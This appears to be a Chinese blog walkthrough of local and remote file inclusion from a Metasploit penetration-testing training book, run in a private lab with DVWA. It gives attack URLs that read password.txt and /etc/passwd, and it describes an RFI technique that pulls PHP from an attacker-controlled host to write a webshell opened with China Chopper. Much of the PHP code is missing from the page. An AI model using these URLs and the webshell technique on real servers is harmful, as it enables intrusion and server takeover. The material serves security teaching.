《Metasploit渗透测试魔鬼训练营》 之 文件包含

文件包含漏洞包括本地文件包含( LFI )和远程文件包含 (RFI) 。详细讲解请自行度娘,这里一是利用最简单的代码对文件包含漏洞进行展示;二是结合《 metasploit 渗透测试魔鬼训练营》的实验环境进行讲解。

一、本地文件包含漏洞(LFI

(一)LFI展现

WEB服务器A(192.168.80.1)下有三个文件

1.fl.php        :

2.read.php      : 

3.password.txt   : 123456

文件包含漏洞出在fl.php中,该文件对$filename进行了包含,但是$filename是从URL参数中获得,并且没有做任何的过滤和限制。

正常访问的URL是这样的:http://192.168.80.1/fl.php?filename=read.php,结果如下:

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第1张图片

如果攻击者知道存在password.txt,通过访问http://192.168.80.1/fl.php?filename=password

.txt,那么结果就是这样的:

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第2张图片

LFI触发后,像WEB配置文件,数据库配置文件等可能被攻击者窃取,导致机密文件泄露,攻击者可以利用这样信息进一步对服务器进行攻击。

(二)《metasploit渗透测试魔鬼训练营》实验环境LFI

漏洞触发URLhttp://www.dvssc.com/dvwa/vulnerabilities/fi/?page=

正常访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=include.php

攻击者访问:http://www.dvssc.com/dvwa/vulnerabilities/fi/?page=/etc/passwd

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第3张图片

攻击者利用LFI漏洞获取/etc/passwd文件,该文件包含了系统用户的用户名等信息。

 

二、远程文件包含漏洞(RFI

相对于LFIRFI的危害性更大,可能导致向WEB服务器上传webshell

(一)RFI展现

 

 RFI的触发原理和LFI的机制基本相同,在LFI展现环境的基础上,增加攻击者控制的WEB服务器B192.168.80.8)。

访问URLhttp://192.168.80.1/fl.php?filename=http://192.168.80.8/phpshell.php

这样攻击者可以在服务器A上执行特定的代码,从而上传Webshell,控制A

是不是特别简单啊, 哈哈,是不是想着在B上放置一个一句话木马,然后访问攻击URL,就将A给控制了呢?别高兴的太早。下面结合《metasploit渗透测试魔鬼训练营》实验环境RFI进行讲解。

(二)《metasploit渗透测试魔鬼训练营》实验环境RFI

实验环境增加一个《metasploit渗透测试魔鬼训练营》RFI漏洞实验环境服务器192.168.80.141

按照书中讲解,漏洞是这样利用的:

 

于是我们在192.168.80.8上放置一个一句话木马

ui.php: 

通过中国菜刀访问:

http://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/ui.php

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第4张图片

完全不行啊...作者你不要骗俺啊...

分析原因,我们在192.168.80.8放置如下文件

write.php : 

 fwrite($filew, “123456789”);

fclose($filew);

?>

访问URLhttp://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/write.php

结果我们在服务器192.168.80.8下发现test.txt192.168.80.141下并没有发现test.txt。原因清楚了吗?由于192.168.80.141通过RFI包含192.168.80.8上的php文件时,192.168.80.8首先执行php文件,然后将结果返回给了192.168.80.141...这样192.168.80.141上面根本没有执行php文件,所以无法植入webshell

解决办法:我们在192.168.80.8放置如下文件

uiyu.php: 

echo '

fwrite($filew, \'\');

fclose($filew); ?>'

?>

访问URLhttp://192.168.80.141/dvwa/vulnerabilities/fi/?page=http://192.168.80.8/uiyu.php

这样192.168.80.8

fwrite($filew, \'\');

fclose($filew); ?>

返回给了192.168.80.141192.168.80.141执行该PHP代码,创建acos.php文件:

通过中国菜刀访问http://192.168.80.141/dvwa/vulnerabilities/fi/acos.php

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第5张图片

OK,成功执行。

 

(三)《metasploit渗透测试魔鬼训练营》实验环境漏洞定位

(一)fi/source/low.php

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第6张图片

该文件将$_GET[‘page’]参数给了$file变量,并且没有做任何过滤和限制

(二)fi./index.php

Index.php首先包含了source/low.php,然后包含了$file文件,漏洞触发。

 《Metasploit渗透测试魔鬼训练营》 之 文件包含_第7张图片

拜了个拜!

你可能感兴趣的:(《Metasploit渗透测试魔鬼训练营》 之 文件包含)